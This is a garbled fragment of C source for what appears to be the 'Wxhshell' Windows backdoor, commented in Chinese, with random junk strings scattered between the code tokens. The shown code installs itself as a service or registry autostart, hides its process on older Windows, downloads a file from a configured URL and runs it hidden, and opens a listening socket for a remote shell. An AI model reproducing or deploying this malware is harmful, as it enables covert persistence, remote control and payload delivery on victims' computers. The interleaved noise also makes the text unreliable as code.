m3P%E8<Q# if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T4o}5sq}S eP[azC"G[ CloseHandle(hProcess); e!G
I< i&{8a3B if(strstr(procName,"services")) return 1; // 以服务启动 *sZOws< j4+hWalm return 0; // 注册表启动 mcp}F|ws } aq,&W
q@ <iJ->$ // 主模块 )#IiHBF int StartWxhshell(LPSTR lpCmdLine) 1th|n { >Y)jt*vQ SOCKET wsl; FU5vo BOOL val=TRUE; |UBR8 int port=0; YNHn# 98\ struct sockaddr_in door; &Q(Q/]U~ s26:(J
[{ if(wscfg.ws_autoins) Install(); 9IC"p<D Hc5@gN port=atoi(lpCmdLine); >vt#,8VAN sAC1Pda if(port<=0) port=wscfg.ws_port; @&mv4zz&W "7Zb)Ocb WSADATA data; %HwPOEJ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; y%`^*E& yi
r#G""7 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; r3_@ L>; setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lNls8@ door.sin_family = AF_INET; FyQ door.sin_addr.s_addr = inet_addr("127.0.0.1"); iV(B0z door.sin_port = htons(port); Qh%7RGh_ +cQ4u4 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { u5$\E]+_ closesocket(wsl); q8P| ] return 1; =ni&*& } >umcpkp-h lmQ!q>N if(listen(wsl,2) == INVALID_SOCKET) {
VG q' closesocket(wsl); E/Eny5 return 1; IAhyGD{b } ZTMzL%i Wxhshell(wsl); EX=+TOkAf WSACleanup(); P[%
W[E< 86vk" return 0; Rfeiv fPZBm&`C } qYGnebn@\ zp,f} // 以NT服务方式启动 cQ1oy-paD VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ce1KUwo] { 'O
\YL(j_e DWORD status = 0; v9u/<w68! DWORD specificError = 0xfffffff; ~EpMO]I ^['% wA% serviceStatus.dwServiceType = SERVICE_WIN32; 5i83(>p3]e serviceStatus.dwCurrentState = SERVICE_START_PENDING; 2W$c%~j$2 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -gv@
.# N serviceStatus.dwWin32ExitCode = 0; !94&Uk(O serviceStatus.dwServiceSpecificExitCode = 0; D8paIp serviceStatus.dwCheckPoint = 0; <!-8g! serviceStatus.dwWaitHint = 0; (
y'i{:B 4Y Xtl+G hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;)u}`4~L if (hServiceStatusHandle==0) return; UVxE~801Y Ajs<a(,6 status = GetLastError(); -TjYQ if (status!=NO_ERROR)
yL_-w/a { *8kg6v% serviceStatus.dwCurrentState = SERVICE_STOPPED; 4~ZQsw` serviceStatus.dwCheckPoint = 0; #W~5M ?+ serviceStatus.dwWaitHint = 0; B`T|M$Ug serviceStatus.dwWin32ExitCode = status; t A\N$ serviceStatus.dwServiceSpecificExitCode = specificError; k2j:s}RHY SetServiceStatus(hServiceStatusHandle, &serviceStatus); q !EJs:AS return; D2[uex } )wCA8 4(bV# serviceStatus.dwCurrentState = SERVICE_RUNNING; F,%qG, serviceStatus.dwCheckPoint = 0; zTAt% w5 serviceStatus.dwWaitHint = 0; }sd-X`lZ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xAjLn*d|N } vObP(@0AM j<R,}nmD3\ // 处理NT服务事件,比如:启动、停止 va95/( VOID WINAPI NTServiceHandler(DWORD fdwControl) %R7Q`!@8 { V7[Dvg:W switch(fdwControl) d3&gHt2 { /-8v]nRB case SERVICE_CONTROL_STOP: DN&ZRA serviceStatus.dwWin32ExitCode = 0; 5R{
{FD`h serviceStatus.dwCurrentState = SERVICE_STOPPED; >Y1?` serviceStatus.dwCheckPoint = 0; 7h&$^ serviceStatus.dwWaitHint = 0; 818</b<yn { )j',e$m SetServiceStatus(hServiceStatusHandle, &serviceStatus); i>7f9D7 } `$nMTx]Y return; Ys+Dw- case SERVICE_CONTROL_PAUSE: c<y.Y0 serviceStatus.dwCurrentState = SERVICE_PAUSED; ~Rs|W; break; 9hmCvQgtf case SERVICE_CONTROL_CONTINUE: ^G~W}z?- serviceStatus.dwCurrentState = SERVICE_RUNNING; % 95:yyH 0 break; 3wX{U8mrg case SERVICE_CONTROL_INTERROGATE: ,B5Ptf# break; ie
2X.# }; 5w@ ;B SetServiceStatus(hServiceStatusHandle, &serviceStatus); DcQ^V4_ } oZA|IF8U0 A0V"5syY // 标准应用程序主函数 6@]Xwq int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8v*>~E/0 { >#$(M5&}- HvKueTQ // 获取操作系统版本 HdJLD+k/ OsIsNt=GetOsVer(); GH7{_@pv8 GetModuleFileName(NULL,ExeFile,MAX_PATH); zt[TShD^ l^uP?l" // 从命令行安装 69dFd!G\ if(strpbrk(lpCmdLine,"iI")) Install(); 6mep|![6 bhOyx // 下载执行文件 5y(irbk7 if(wscfg.ws_downexe) { ,au64sH if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &VY;Al WinExec(wscfg.ws_filenam,SW_HIDE); =<O{t#] } kZU8s'C `]LaX&u if(!OsIsNt) { >BrxJw#M // 如果时win9x,隐藏进程并且设置为注册表启动 E&{*{u4 HideProc(); `yP-,lA$ StartWxhshell(lpCmdLine); "f!*%SR:
1 } c72Oy+# else q-o=lU" if(StartFromService()) #_2V@F+, // 以服务方式启动 $\81WsL' StartServiceCtrlDispatcher(DispatchTable); Eh!%NeO else p$?c>lim // 普通方式启动 ~H@':Mms.h StartWxhshell(lpCmdLine); yz9`1R2c "*RCV6{ return 0; l
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